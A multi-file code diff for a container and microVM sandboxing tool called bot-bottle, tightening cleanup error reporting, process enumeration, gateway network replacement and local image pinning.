        it's a host query, not per-bottle state."""
@@ -540,14 +562,14 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        stderr. When quiet=True returns the status code silently —
        useful for cheap programmatic checks.

-        Invoked by `./cli.py backend status [--backend=…]` (quiet=False)
+        Invoked by `bot-bottle backend status [--backend=…]` (quiet=False)
        and by is_backend_ready() (caller-controlled)."""

    @classmethod
    @abstractmethod
    def teardown(cls) -> int:
        """Undo `setup()` — the inverse operation, surfaced as
-        `./cli.py backend teardown [--backend=…]` (uninstall). Symmetric
+        `bot-bottle backend teardown [--backend=…]` (uninstall). Symmetric
        with setup: where setup is advisory (prints the privileged
        commands / declarative config to apply), teardown prints the
        commands / config change to remove the host prerequisites. A
@@ -0,0 +1,60 @@
+"""Shared destructive-cleanup execution and failure accounting."""
+
+from __future__ import annotations
+
+import os
+import shutil
+import subprocess
+from collections.abc import Sequence
+from pathlib import Path
+
+
+class CleanupError(RuntimeError):
+    """One or more approved cleanup mutations did not complete."""
+
+
+class CleanupFailures:
+    """Attempt every approved mutation, then fail with complete diagnostics."""
+
+    def __init__(self) -> None:
+        self._messages: list[str] = []
+
+    def run(self, argv: Sequence[str], description: str) -> None:
+        raw_timeout = os.environ.get(
+            "BOT_BOTTLE_CLEANUP_COMMAND_TIMEOUT_SECONDS", "120",
+        )
+        try:
+            timeout = float(raw_timeout)
+        except ValueError:
+            timeout = 120.0
+        try:
+            result = subprocess.run(
+                list(argv), capture_output=True, text=True, check=False,
+                timeout=max(timeout, 1.0),
+            )
+        except (OSError, subprocess.SubprocessError) as exc:
+            self._messages.append(f"{description}: {exc}")
+            return
+        if result.returncode != 0:
+            detail = (result.stderr or result.stdout).strip()
+            self._messages.append(
+                f"{description}: {detail or f'exit {result.returncode}'}"
+            )
+
+    def remove_tree(self, path: Path, description: str) -> None:
+        try:
+            shutil.rmtree(path)
+        except FileNotFoundError:
+            return
+        except OSError as exc:
+            self._messages.append(f"{description}: {exc}")
+
+    def record(self, message: str) -> None:
+        self._messages.append(message)
+
+    def raise_if_any(self) -> None:
+        if self._messages:
+            raise CleanupError("; ".join(self._messages))
+
+
+__all__ = ["CleanupError", "CleanupFailures"]
@@ -46,6 +46,22 @@ class DockerBottleCleanupPlan(BottleCleanupPlan):
            and not self.orphan_state_dirs
        )

+    def intersect(self, current: BottleCleanupPlan) -> "DockerBottleCleanupPlan":
+        if not isinstance(current, DockerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return DockerBottleCleanupPlan(
+            projects=tuple(x for x in self.projects if x in current.projects),
+            stray_containers=tuple(
+                x for x in self.stray_containers if x in current.stray_containers
+            ),
+            stray_networks=tuple(
+                x for x in self.stray_networks if x in current.stray_networks
+            ),
+            orphan_state_dirs=tuple(
+                x for x in self.orphan_state_dirs if x in current.orphan_state_dirs
+            ),
+        )
+
    def print(self) -> None:
        print(file=sys.stderr)
        for name in self.projects:
@@ -23,11 +23,12 @@ Active-agent enumeration lives in `backend/docker/enumerate.py`.

 from __future__ import annotations

-import shutil
 import subprocess

 from ...paths import bot_bottle_root
-from ...log import info, warn
+from ...log import info
+from .. import EnumerationError
+from ..cleanup_control import CleanupFailures
 from . import util as docker_mod
 from .bottle_cleanup_plan import DockerBottleCleanupPlan
 from ...bottle_state import bottle_state_dir, is_preserved
@@ -36,15 +37,17 @@ from .compose import COMPOSE_PROJECT_PREFIX, list_compose_projects

 def _list_prefixed_containers() -> list[str]:
    """All bot-bottle-prefixed containers, running or stopped."""
-    result = subprocess.run(
-        ["docker", "ps", "-a",
-         "--filter", f"name=^{COMPOSE_PROJECT_PREFIX}",
-         "--format", "{{.Names}}\t{{.Label \"com.docker.compose.project\"}}"],
-        capture_output=True, text=True, check=False,
-    )
+    try:
+        result = subprocess.run(
+            ["docker", "ps", "-a",
+             "--filter", f"name=^{COMPOSE_PROJECT_PREFIX}",
+             "--format", "{{.Names}}\t{{.Label \"com.docker.compose.project\"}}"],
+            capture_output=True, text=True, check=False,
+        )
+    except OSError as exc:
+        raise EnumerationError(f"docker ps failed: {exc}") from exc
    if result.returncode != 0:
-        warn(f"docker ps failed: {result.stderr.strip()}")
-        return []
+        raise EnumerationError(f"docker ps failed: {result.stderr.strip()}")
    out: list[str] = []
    for line in (result.stdout or "").splitlines():
        if not line:
@@ -63,15 +66,19 @@ def _list_prefixed_networks() -> list[str]:
    to a compose project. Compose-managed networks have a
    `com.docker.compose.project` label; bare ones (from pre-compose
    code paths) don't."""
-    result = subprocess.run(
-        ["docker", "network", "ls",
-         "--filter", f"name={COMPOSE_PROJECT_PREFIX}",
-         "--format", "{{.Name}}\t{{.Label \"com.docker.compose.project\"}}"],
-        capture_output=True, text=True, check=False,
-    )
+    try:
+        result = subprocess.run(
+            ["docker", "network", "ls",
+             "--filter", f"name={COMPOSE_PROJECT_PREFIX}",
+             "--format", "{{.Name}}\t{{.Label \"com.docker.compose.project\"}}"],
+            capture_output=True, text=True, check=False,
+        )
+    except OSError as exc:
+        raise EnumerationError(f"docker network ls failed: {exc}") from exc
    if result.returncode != 0:
-        warn(f"docker network ls failed: {result.stderr.strip()}")
-        return []
+        raise EnumerationError(
+            f"docker network ls failed: {result.stderr.strip()}"
+        )
    out: list[str] = []
    for line in (result.stdout or "").splitlines():
        if not line:
@@ -120,7 +127,10 @@ def prepare_cleanup() -> DockerBottleCleanupPlan:
    `enumerate_active_agents()` so the orphan-state-dir bucket
    doesn't include slugs whose non-docker bottle is still up."""
    docker_mod.require_docker()
-    projects = list_compose_projects()
+    projects = list_compose_projects(
+        warn_on_error=False,
+        raise_on_error=True,
+    )
    project_set = set(projects)
    # Late import to avoid a circular at module-load time —
    # the backend package's __init__ imports this module.
@@ -140,40 +150,30 @@ def cleanup(plan: DockerBottleCleanupPlan) -> None:
    """Remove everything in the plan. Projects first (whose `compose
    down` reaps their containers + networks atomically), then stray
    legacy resources, then orphan state dirs."""
+    failures = CleanupFailures()
    for project in plan.projects:
        info(f"docker compose down  ({project})")
-        result = subprocess.run(
+        failures.run(
            ["docker", "compose", "-p", project, "down", "--volumes"],
-            capture_output=True, text=True, check=False,
+            f"docker compose down failed for {project}",
        )
-        if result.returncode != 0:
-            warn(
-                f"compose down failed for {project}: "
-                f"{result.stderr.strip()}"
-            )

    for name in plan.stray_containers:
        info(f"removing stray container {name}")
-        subprocess.run(
+        failures.run(
            ["docker", "rm", "-f", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"removing stray container {name}",
        )

    for name in plan.stray_networks:
        info(f"removing stray network {name}")
-        subprocess.run(
+        failures.run(
            ["docker", "network", "rm", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"removing stray network {name}",
        )

    for identity in plan.orphan_state_dirs:
        path = bottle_state_dir(identity)
        info(f"removing orphan state dir {path}")
-        try:
-            shutil.rmtree(path, ignore_errors=True)
-        except OSError as e:
-            warn(f"failed to remove {path}: {e}")
+        failures.remove_tree(path, f"removing orphan state dir {path}")
+    failures.raise_if_any()
@@ -16,6 +16,7 @@ from pathlib import Path
 from typing import Any

 from ...log import die, warn
+from ..base import EnumerationError


 # --- Lifecycle helpers (PRD 0018 chunk 3) ----------------------------------
@@ -52,19 +53,20 @@ def slug_from_compose_project(project: str) -> str:


 def list_compose_projects(
-    *, include_stopped: bool = True, warn_on_error: bool = True,
+    *,
+    include_stopped: bool = True,
+    warn_on_error: bool = True,
+    raise_on_error: bool = False,
 ) -> list[str]:
    """All compose project names starting with `bot-bottle-`.
    `include_stopped=True` (default) runs `docker compose ls --all`
    so exited projects appear too; pass False to get only projects
    with at least one running container.

-    Returns [] on docker daemon errors or malformed output rather
-    than raising — callers should treat the empty list as "no
-    projects discoverable", not "no projects exist". `warn_on_error`
-    stays true for explicit operator commands like cleanup, but active
-    discovery paths set it false so dashboard refreshes don't spam
-    stderr while Docker Desktop is stopped."""
+    Best-effort callers get ``[]`` on Docker errors or malformed output.
+    Enumeration callers pass ``raise_on_error=True`` so a failed query is not
+    reported as an authoritative empty result.
+    """
    argv = ["docker", "compose", "ls", "--format", "json"]
    if include_stopped:
        argv.insert(3, "--all")
@@ -72,19 +74,30 @@ def list_compose_projects(
        result = subprocess.run(
            argv, capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError:
-        # docker binary not on PATH — same shape as a daemon-down
-        # error from the caller's POV: no projects discoverable.
+    except OSError as exc:
+        # Not only "not found": docker on PATH but not executable by this
+        # user raises PermissionError. Either way the query never ran, so an
+        # enumeration caller must not read the empty result as authoritative.
+        if raise_on_error:
+            raise EnumerationError(
+                f"docker compose ls failed: docker unavailable ({exc})"
+            ) from exc
        return []
    if result.returncode != 0:
+        message = f"docker compose ls failed: {result.stderr.strip()}"
+        if raise_on_error:
+            raise EnumerationError(message)
        if warn_on_error:
-            warn(f"docker compose ls failed: {result.stderr.strip()}")
+            warn(message)
        return []
    try:
        projects = json.loads(result.stdout or "[]")
    except json.JSONDecodeError as e:
+        message = f"docker compose ls returned malformed JSON: {e}"
+        if raise_on_error:
+            raise EnumerationError(message) from e
        if warn_on_error:
-            warn(f"docker compose ls returned malformed JSON: {e}")
+            warn(message)
        return []
    names: list[str] = []
    for p in projects:
@@ -97,7 +110,10 @@ def list_compose_projects(


 def list_active_slugs(
-    *, include_stopped: bool = False, warn_on_error: bool = True,
+    *,
+    include_stopped: bool = False,
+    warn_on_error: bool = True,
+    raise_on_error: bool = False,
 ) -> list[str]:
    """Slugs (project name minus prefix) of currently-running
    bottles. Used by the dashboard's operator-edit verbs to choose
@@ -108,6 +124,7 @@ def list_active_slugs(
            for p in list_compose_projects(
                include_stopped=include_stopped,
                warn_on_error=warn_on_error,
+                raise_on_error=raise_on_error,
            )
        ) if slug
    )
@@ -68,6 +68,11 @@ def _network_container_ips(network: str) -> list[str]:
        "docker", "network", "inspect", "--format",
        "{{range .Containers}}{{.IPv4Address}} {{end}}", network,
    ])
+    if proc.returncode != 0:
+        detail = proc.stderr.strip() or f"exit {proc.returncode}"
+        raise ConsolidatedLaunchError(
+            f"could not inspect addresses on gateway network {network}: {detail}"
+        )
    ips: list[str] = []
    for entry in proc.stdout.split():
        ips.append(entry.split("/", 1)[0])
@@ -1,9 +1,8 @@
 """Active-agent enumeration for the docker backend.

 Returns `ActiveAgent` records the CLI `active` command and the
-dashboard agents pane consume. Empty when docker isn't reachable
-— gated by `has_backend('docker')` at the cross-backend caller
-so this module trusts that docker is available when called.
+dashboard agents pane consume. Docker query failures raise rather
+than masquerading as an authoritative empty result.

 The parser (`_parse_services_by_project`) is exposed for direct
 unit testing; the docker `docker ps` invocation is in
@@ -13,17 +12,18 @@ from __future__ import annotations

 import subprocess

-from .. import ActiveAgent
+from .. import ActiveAgent, EnumerationError
 from ...bottle_state import read_metadata
 from .compose import compose_project_name, list_active_slugs


 def enumerate_active() -> list[ActiveAgent]:
-    """All currently-running docker-backed agents. Caller is
-    responsible for gating on `has_backend('docker')` if it
-    matters; if docker is missing the `docker ps` call below
-    returns an empty list silently."""
-    slugs = list_active_slugs(include_stopped=False, warn_on_error=False)
+    """All currently-running docker-backed agents."""
+    slugs = list_active_slugs(
+        include_stopped=False,
+        warn_on_error=False,
+        raise_on_error=True,
+    )
    if not slugs:
        return []
    services_by_project = _query_services_by_project()
@@ -74,8 +74,9 @@ def _query_services_by_project() -> dict[str, set[str]]:
            ],
            capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError:
-        return {}
+    except OSError as exc:
+        # Missing, or on PATH but not executable by this user (PermissionError).
+        raise EnumerationError(f"docker ps failed: docker unavailable ({exc})") from exc
    if r.returncode != 0:
-        return {}
+        raise EnumerationError(f"docker ps failed: {r.stderr.strip()}")
    return _parse_services_by_project(r.stdout or "")
@@ -96,6 +96,11 @@ class DockerGateway(Gateway):
                str(context)]
        if os.environ.get("BOT_BOTTLE_NO_CACHE"):
            argv.insert(2, "--no-cache")
+        for name, value in resources.image_build_args(
+            self._dockerfile,
+            context=context,
+        ).items():
+            argv[-1:-1] = ["--build-arg", f"{name}={value}"]
        proc = run_docker(argv)
        if proc.returncode != 0:
            raise GatewayError(f"gateway image build failed: {proc.stderr.strip()}")
@@ -135,12 +140,43 @@ class DockerGateway(Gateway):
            marker = inspected.stdout.strip()
            if marker in {"", self._subnet}:
                return
-        if inspected.returncode == 0:
-            # Migrate the stale auto-IPAM network created by older releases.
-            # Removing the fixed gateway is safe here: this launch recreates it.
+            # Inspectable but mislabelled: the stale auto-IPAM network created
+            # by older releases. Replace it below.
+            stale = True
+        else:
+            # inspect failed. Classify by stderr — do NOT assume "not absent"
+            # implies "poisoned": a transient daemon/API error, permission
+            # failure, timeout, or bad context also fails here, and destroying
+            # the shared gateway on that guess would tear the network out from
+            # under every live bottle.
+            err = inspected.stderr.lower()
+            if "no such network" in err or "not found" in err:
+                # Absent: nothing to replace — create it below.
+                stale = False
+            elif "parseaddr" in err:
+                # Present but poisoned. A daemon that default-enables IPv6
+                # attaches an fdd0::/64 subnet whose `::1/64` gateway trips
+                # docker's own netip.ParseAddr in `network inspect`/`ls`, so the
+                # command exits non-zero with that signature. A fixed release
+                # never *creates* such a network, but one can survive on a
+                # shared host from an older or concurrent launch — and
+                # `--ipv6=false` alone can't heal it, since the create below only
+                # no-ops on "already exists". Force-replace it so later reads
+                # (e.g. `_network_cidr` pinning a source IP) stop failing.
+                stale = True
+            else:
+                # Unrecognized failure: no evidence the network is malformed.
+                # Surface it rather than mutate shared state on a guess.
+                raise GatewayError(
+                    f"gateway network {self.network} could not be inspected: "
+                    f"{inspected.stderr.strip()}"
+                )
+        if stale:
+            # Migrate the stale/poisoned network. Removing the fixed gateway is
+            # safe here: this launch recreates it.
            run_docker(["docker", "rm", "--force", self.name])
            removed = run_docker(["docker", "network", "rm", self.network])
-            if removed.returncode != 0:
+            if removed.returncode != 0 and "no such network" not in removed.stderr.lower():
                raise GatewayError(
                    f"gateway network {self.network} needs explicit subnet "
                    f"{self._subnet} but could not be replaced: "
@@ -148,6 +184,13 @@ class DockerGateway(Gateway):
                )
        proc = run_docker([
            "docker", "network", "create",
+            # bot-bottle attribution pins IPv4 source IPs; it has no IPv6
+            # support. Disable IPv6 explicitly so a daemon that default-enables
+            # it (default-address-pools) can't attach an fdd0::/64 subnet — a
+            # malformed `::1/64` gateway address then trips docker's own
+            # ParseAddr in `network inspect`/`ls`, which poisons every launch
+            # that reads this network's subnet.
+            "--ipv6=false",
            "--subnet", self._subnet,
            "--label", f"{_GATEWAY_SUBNET_LABEL}={self._subnet}",
            self.network,
@@ -131,6 +131,11 @@ class DockerOrchestrator(Orchestrator):
                str(self._repo_root)]
        if os.environ.get("BOT_BOTTLE_NO_CACHE"):
            argv.insert(2, "--no-cache")
+        for name, value in resources.image_build_args(
+            self._dockerfile,
+            context=self._repo_root,
+        ).items():
+            argv[-1:-1] = ["--build-arg", f"{name}={value}"]
        proc = run_docker(argv)
        if proc.returncode != 0:
            raise GatewayError(
@@ -8,7 +8,7 @@ pointer, and `status()` reports whether docker is usable.
 This is intentionally minimal; a richer version (daemon config checks,
 gVisor/runsc install guidance, rootless-docker hints) is tracked
 separately. Reached via `DockerBottleBackend.setup` / `.status`, which
-the generic `./cli.py backend {setup,status}` dispatches to.
+the generic `bot-bottle backend {setup,status}` dispatches to.
 """

 from __future__ import annotations
@@ -69,7 +69,7 @@ def teardown() -> int:
    sys.stderr.write(
        "Docker backend: nothing to undo — it provisions no privileged host "
        "state (networks and the gateway are per-launch and are "
-        "removed by `./cli.py cleanup`). Docker itself is left installed.\n"
+        "removed by `bot-bottle cleanup`). Docker itself is left installed.\n"
    )
    return 0

@@ -89,5 +89,5 @@ def status() -> int:
    runsc = _docker_on_path() and _util.runsc_available()
    sys.stderr.write(f"gVisor runsc runtime: {'registered' if runsc else 'not registered (optional)'}\n")
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=docker\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=docker\n")
    return 0 if ok else 1
@@ -10,6 +10,7 @@ import shutil
 import subprocess
 from typing import Iterator

+from ... import resources
 from ...log import die, info
 from ...util import slugify as _slugify

@@ -119,7 +120,13 @@ def docker_cp(src: str, dest: str) -> None:
            f"{(result.stderr or '').strip() or '<no stderr>'}")


-def build_image(ref: str, context: str, *, dockerfile: str = "") -> None:
+def build_image(
+    ref: str,
+    context: str,
+    *,
+    dockerfile: str = "",
+    build_args: dict[str, str] | None = None,
+) -> None:
    """Invokes `docker build` every call. Layer cache makes no-change
    rebuilds cheap; running every time means Dockerfile edits land
    without manual `docker rmi`.
@@ -139,10 +146,61 @@ def build_image(ref: str, context: str, *, dockerfile: str = "") -> None:
        args.append("--no-cache")
    if dockerfile:
        args.extend(["-f", dockerfile])
+    effective_build_args = resources.image_build_args(
+        dockerfile,
+        context=context,
+    ) if dockerfile else {}
+    effective_build_args.update(build_args or {})
+    for name, value in effective_build_args.items():
+        args.extend(["--build-arg", f"{name}={value}"])
    args.append(context)
    subprocess.run(args, check=True)


+def image_id(ref: str) -> str:
+    """Return the exact content-addressed ID for a local image.
+
+    This is used when one locally built image is another Dockerfile's base:
+    passing the ID prevents a mutable tag from being resolved between builds.
+    """
+    result = run_docker(["docker", "image", "inspect", "--format", "{{.Id}}", ref])
+    image = result.stdout.strip()
+    if result.returncode != 0 or not image.startswith("sha256:"):
+        detail = (result.stderr or result.stdout or "").strip()
+        die(f"could not resolve exact image ID for {ref!r}: {detail or '<no detail>'}")
+    return image
+
+
+def pinned_local_image_ref(ref: str) -> str:
+    """Give a local image a content-derived tag and verify the tag resolves
+    back to the same image ID.
+
+    BuildKit treats a bare ``sha256:...`` ID in ``FROM`` as a registry
+    repository name. A tag whose complete suffix is the local image ID remains
+    resolvable by BuildKit, while the post-tag inspection keeps the handoff
+    fail-closed.
+    """
+    image = image_id(ref)
+    digest = image.removeprefix("sha256:")
+    if len(digest) != 64 or any(char not in "0123456789abcdef" for char in digest):
+        die(f"could not derive a local base tag from invalid image ID {image!r}")
+
+    repository = ref.split("@", 1)[0]
+    last_slash = repository.rfind("/")
+    last_colon = repository.rfind(":")
+    if last_colon > last_slash:
+        repository = repository[:last_colon]
+    pinned_ref = f"{repository}:sha256-{digest}"
+
+    result = run_docker(["docker", "image", "tag", image, pinned_ref])
+    if result.returncode != 0:
+        detail = (result.stderr or result.stdout or "").strip()
+        die(f"could not tag exact local image {image}: {detail or '<no detail>'}")
+    if image_id(pinned_ref) != image:
+        die(f"content-derived local tag {pinned_ref!r} did not resolve to {image}")
+    return pinned_ref
+
+
 def verify_agent_image(image: str, argv: tuple[str, ...]) -> None:
    """Run `argv` inside a throwaway container of a freshly built agent
    image and die loudly if it fails, instead of shipping an image
@@ -27,3 +27,11 @@ class FirecrackerBottleCleanupPlan(BottleCleanupPlan):
    @property
    def empty(self) -> bool:
        return not (self.vm_pids or self.run_dirs)
+
+    def intersect(self, current: BottleCleanupPlan) -> "FirecrackerBottleCleanupPlan":
+        if not isinstance(current, FirecrackerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return FirecrackerBottleCleanupPlan(
+            vm_pids=tuple(x for x in self.vm_pids if x in current.vm_pids),
+            run_dirs=tuple(x for x in self.run_dirs if x in current.run_dirs),
+        )
@@ -11,10 +11,9 @@ Reaps *orphans* only — resources with no live VM behind them:
    — a VMM left lingering after its dir was removed.

 A run dir with a *live* firecracker process is a running bottle and is
-left strictly alone: it is neither killed nor removed. (The backend's
-`enumerate_active` registry is still a stub — #354 — so a live process
-is the only reliable "this bottle is in use" signal we have. Once the
-registry lands, registry-orphaned-but-running VMs can be reaped too.)
+left strictly alone: it is neither killed nor removed. Active-agent
+enumeration uses this same process snapshot, so cleanup and generic
+backend consumers agree about which bottles are running.

 TAP slots free themselves (the flock drops when the launcher exits), so
 there is nothing to reclaim there.
@@ -22,14 +21,16 @@ there is nothing to reclaim there.

 from __future__ import annotations

+from collections.abc import Sequence
 import os
-import shutil
 import signal
 import subprocess
 from pathlib import Path

 from ...log import info
-from . import util
+from .. import EnumerationError
+from ..cleanup_control import CleanupError, CleanupFailures
+from . import lifecycle_lock, util
 from .bottle_cleanup_plan import FirecrackerBottleCleanupPlan


@@ -37,7 +38,7 @@ def _run_root() -> Path:
    return util.cache_dir() / "run"


-def _run_dir_of(cmd: str, run_root: Path) -> Path | None:
+def _run_dir_of(args: Sequence[str], run_root: Path) -> Path | None:
    """The bottle run dir a firecracker cmdline belongs to, or None.

    A bottle VM is launched with `--config-file <run_root>/<slug>/config.json`,
@@ -45,15 +46,35 @@ def _run_dir_of(cmd: str, run_root: Path) -> Path | None:
    the run root. Anything else (a builder VM, the infra VM elsewhere) is
    not ours to reap here.
    """
-    toks = cmd.split()
-    for i, tok in enumerate(toks):
-        if tok == "--config-file" and i + 1 < len(toks):
-            parent = Path(toks[i + 1]).parent
+    for i, arg in enumerate(args):
+        if arg == "--config-file" and i + 1 < len(args):
+            parent = Path(args[i + 1]).parent
            if parent.parent == run_root:
                return parent
    return None


+def _decode_cmdline(raw: bytes) -> tuple[str, ...]:
+    """Decode Linux's NUL-delimited argv without losing embedded spaces."""
+    return tuple(
+        value.decode(errors="surrogateescape")
+        for value in raw.split(b"\0") if value
+    )
+
+
+def _process_args(pid: int) -> tuple[str, ...] | None:
+    """Read one process's lossless argv, or None when it exited meanwhile."""
+    try:
+        raw = Path(f"/proc/{pid}/cmdline").read_bytes()
+    except FileNotFoundError:
+        return None
+    except OSError as exc:
+        raise EnumerationError(
+            f"could not inspect Firecracker pid {pid}: {exc}"
+        ) from exc
+    return _decode_cmdline(raw)
+
+
 def _scan_processes(run_root: Path) -> tuple[set[str], list[int]]:
    """Inspect running firecracker VMs under ``run_root``.

@@ -62,23 +83,34 @@ def _scan_processes(run_root: Path) -> tuple[set[str], list[int]]:
      * ``orphan_pids`` — firecracker pids whose run dir no longer exists
        (a lingering VMM to kill).
    """
-    result = subprocess.run(
-        ["pgrep", "-a", "firecracker"],
-        capture_output=True, text=True, check=False,
-    )
-    if result.returncode != 0:
+    try:
+        result = subprocess.run(
+            ["pgrep", "firecracker"],
+            capture_output=True, text=True, check=False,
+        )
+    except OSError as exc:
+        raise EnumerationError(
+            f"could not enumerate Firecracker processes: {exc}"
+        ) from exc
+    if result.returncode == 1:
+        # pgrep's documented "no processes matched" result.
        return set(), []
+    if result.returncode != 0:
+        detail = (result.stderr or "").strip() or f"exit {result.returncode}"
+        raise EnumerationError(
+            f"could not enumerate Firecracker processes: {detail}"
+        )
    live: set[str] = set()
    orphan_pids: list[int] = []
    for line in result.stdout.splitlines():
-        parts = line.split(None, 1)
-        if len(parts) != 2:
-            continue
        try:
-            pid = int(parts[0])
+            pid = int(line.strip())
        except ValueError:
            continue
-        run_dir = _run_dir_of(parts[1], run_root)
+        args = _process_args(pid)
+        if args is None:
+            continue
+        run_dir = _run_dir_of(args, run_root)
        if run_dir is None:
            continue
        if run_dir.is_dir():
@@ -114,12 +146,54 @@ def prepare_cleanup() -> FirecrackerBottleCleanupPlan:


 def cleanup(plan: FirecrackerBottleCleanupPlan) -> None:
-    for pid in plan.vm_pids:
+    """Revalidate the preview under the launch lock, then remove its survivors."""
+    with lifecycle_lock.hold():
+        fresh = prepare_cleanup()
+        approved_pids = set(plan.vm_pids).intersection(fresh.vm_pids)
+        approved_dirs = set(plan.run_dirs).intersection(fresh.run_dirs)
+        failures = CleanupFailures()
+        for pid in sorted(approved_pids):
+            try:
+                _terminate_orphan(pid, _run_root())
+            except CleanupError as exc:
+                failures.record(str(exc))
+        for path in sorted(approved_dirs):
+            info(f"rm -rf {path}")
+            failures.remove_tree(Path(path), f"removing Firecracker run dir {path}")
+        failures.raise_if_any()
+
+
+def _terminate_orphan(pid: int, run_root: Path) -> None:
+    """Signal exactly the process identity that still owns an orphan config."""
+    try:
+        pidfd = os.pidfd_open(pid)
+    except ProcessLookupError:
+        return
+    except OSError as exc:
+        raise EnumerationError(
+            f"could not pin Firecracker pid {pid} for cleanup: {exc}"
+        ) from exc
+    try:
+        try:
+            raw = Path(f"/proc/{pid}/cmdline").read_bytes()
+        except FileNotFoundError:
+            return
+        except OSError as exc:
+            raise EnumerationError(
+                f"could not revalidate Firecracker pid {pid}: {exc}"
+            ) from exc
+        args = _decode_cmdline(raw)
+        run_dir = _run_dir_of(args, run_root)
+        if run_dir is None or run_dir.is_dir():
+            return
        info(f"kill firecracker VM pid {pid}")
        try:
-            os.kill(pid, signal.SIGTERM)
+            signal.pidfd_send_signal(pidfd, signal.SIGTERM)
        except ProcessLookupError:
-            pass
-    for path in plan.run_dirs:
-        info(f"rm -rf {path}")
-        shutil.rmtree(path, ignore_errors=True)
+            return
+        except OSError as exc:
+            raise CleanupError(
+                f"could not signal Firecracker pid {pid}: {exc}"
+            ) from exc
+    finally:
+        os.close(pidfd)
@@ -26,22 +26,19 @@ The TAP slot allocation, rootfs build, and VM boot are the caller's job.

 from __future__ import annotations

-import json
 import subprocess
 from dataclasses import dataclass
 from pathlib import Path

 from ...egress import EgressPlan
 from ...git_gate import GitGatePlan
-from ...log import info
-from ...orchestrator.client import OrchestratorClient, OrchestratorClientError
+from ...orchestrator.client import OrchestratorClient
 from ...orchestrator.lifecycle import (
    OrchestratorStartError,  # re-exported so callers can catch it
 )
-from ...orchestrator.reprovision import reprovision_bottles
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
 from ..provision_bottle import deprovision_bottle, provision_bottle
-from . import cleanup, util
+from . import util
 from .gateway import FirecrackerGateway
 from .infra import FirecrackerInfraService

@@ -64,17 +61,6 @@ class LaunchContext:
    env_var_secret: str = ""  # encryption key injected into the agent's env


-def _guest_ip_from_config(config_path: Path) -> str:
-    """Read the kernel's configured guest IP from a Firecracker config."""
-    try:
-        config = json.loads(config_path.read_text())
-        args = config["boot-source"]["boot_args"]
-        ip_arg = next(part for part in args.split() if part.startswith("ip="))
-        return ip_arg.removeprefix("ip=").split(":", 1)[0]
-    except (OSError, ValueError, KeyError, TypeError, StopIteration):
-        return ""
-
-
 def persist_env_var_secret(private_key: Path, guest_ip: str, secret: str) -> None:
    """Mirror the exec-time key into guest tmpfs for restart recovery."""
    proc = subprocess.run(
@@ -89,29 +75,6 @@ def persist_env_var_secret(private_key: Path, guest_ip: str, secret: str) -> Non
        )


-def _reprovision_running_bottles(client: OrchestratorClient) -> None:
-    """Read keys from live agent VMs and restore the restarted gateway."""
-    try:
-        secrets_by_ip: dict[str, str] = {}
-        for run_dir in cleanup.live_run_dirs():
-            guest_ip = _guest_ip_from_config(run_dir / "config.json")
-            private_key = run_dir / "bottle_id_ed25519"
-            if not guest_ip or not private_key.is_file():
-                continue
-            proc = subprocess.run(
-                util.ssh_base_argv(private_key, guest_ip)
-                + [f"cat {_ENV_VAR_SECRET_PATH}"],
-                capture_output=True, text=True, check=False,
-            )
-            if proc.returncode == 0 and proc.stdout.strip():
-                secrets_by_ip[guest_ip] = proc.stdout.strip()
-        count = reprovision_bottles(client, secrets_by_ip)
-        if count:
-            info(f"reprovisioned egress tokens for {count} Firecracker bottle(s)")
-    except (OSError, OrchestratorClientError) as exc:
-        info(f"egress token reprovision skipped: {exc}")
-
-
 def launch_consolidated(
    egress_plan: EgressPlan,
    git_gate_plan: GitGatePlan,
@@ -126,7 +89,6 @@ def launch_consolidated(
    service = FirecrackerInfraService()
    url = service.ensure_running()
    client = OrchestratorClient(url)
-    _reprovision_running_bottles(client)

    # Read the gateway's provisioning transport + CA off the Gateway service.
    gateway = service.gateway()
@@ -1,14 +1,32 @@
 """Active-agent enumeration for the Firecracker backend.

-The backend is disabled during the companion-container removal (#385) — it can't
-launch bottles, so there are none to enumerate. Real enumeration returns
-with the backend's consolidated relaunch (#354).
+Running bottles are the Firecracker processes whose ``--config-file`` points
+at an existing per-bottle run directory. The same authoritative process scan
+protects cleanup from deleting live VMs; operational scan failures propagate
+as ``EnumerationError`` instead of masquerading as an empty host.
 """

 from __future__ import annotations

+from ...bottle_state import read_metadata
 from .. import ActiveAgent
+from .cleanup import live_run_dirs


 def enumerate_active() -> list[ActiveAgent]:
-    return []
+    out: list[ActiveAgent] = []
+    for run_dir in live_run_dirs():
+        slug = run_dir.name
+        metadata = read_metadata(slug)
+        out.append(ActiveAgent(
+            backend_name="firecracker",
+            slug=slug,
+            agent_name=metadata.agent_name if metadata else "?",
+            started_at=metadata.started_at if metadata else "",
+            # Firecracker uses the shared gateway, so there are no
+            # per-bottle gateway service containers to report.
+            services=(),
+            label=metadata.label if metadata else "",
+            color=metadata.color if metadata else "",
+        ))
+    return out
@@ -19,12 +19,14 @@ from __future__ import annotations
 import fcntl
 import hashlib
 import os
+import shlex
 import shutil
 import subprocess
 from contextlib import contextmanager
 from pathlib import Path
 from typing import Generator

+from ... import resources
 from ...log import die, info
 from . import util
 from .infra import FirecrackerInfraService
@@ -55,6 +57,11 @@ def _rootfs_digest(dockerfile: Path) -> str:
    h = hashlib.sha256()
    h.update(_dockerfile_hash(dockerfile).encode())
    h.update(b"\0")
+    for name, value in resources.image_build_args(dockerfile).items():
+        h.update(name.encode())
+        h.update(b"=")
+        h.update(value.encode())
+        h.update(b"\0")
    h.update(util._GUEST_INIT.encode())
    return h.hexdigest()[:16]

@@ -147,7 +154,13 @@ def _build_in_infra(
        if prep.returncode != 0:
            die(f"preparing build dir in the infra VM failed: {prep.stderr.strip()}")
        _send_dockerfile(key, ip, dockerfile, ctx)
-        _buildah_build(key, ip, ctx, tag)
+        _buildah_build(
+            key,
+            ip,
+            ctx,
+            tag,
+            resources.image_build_args(dockerfile),
+        )
        _smoke_test(key, ip, tag, smoke_ctr, smoke_test)
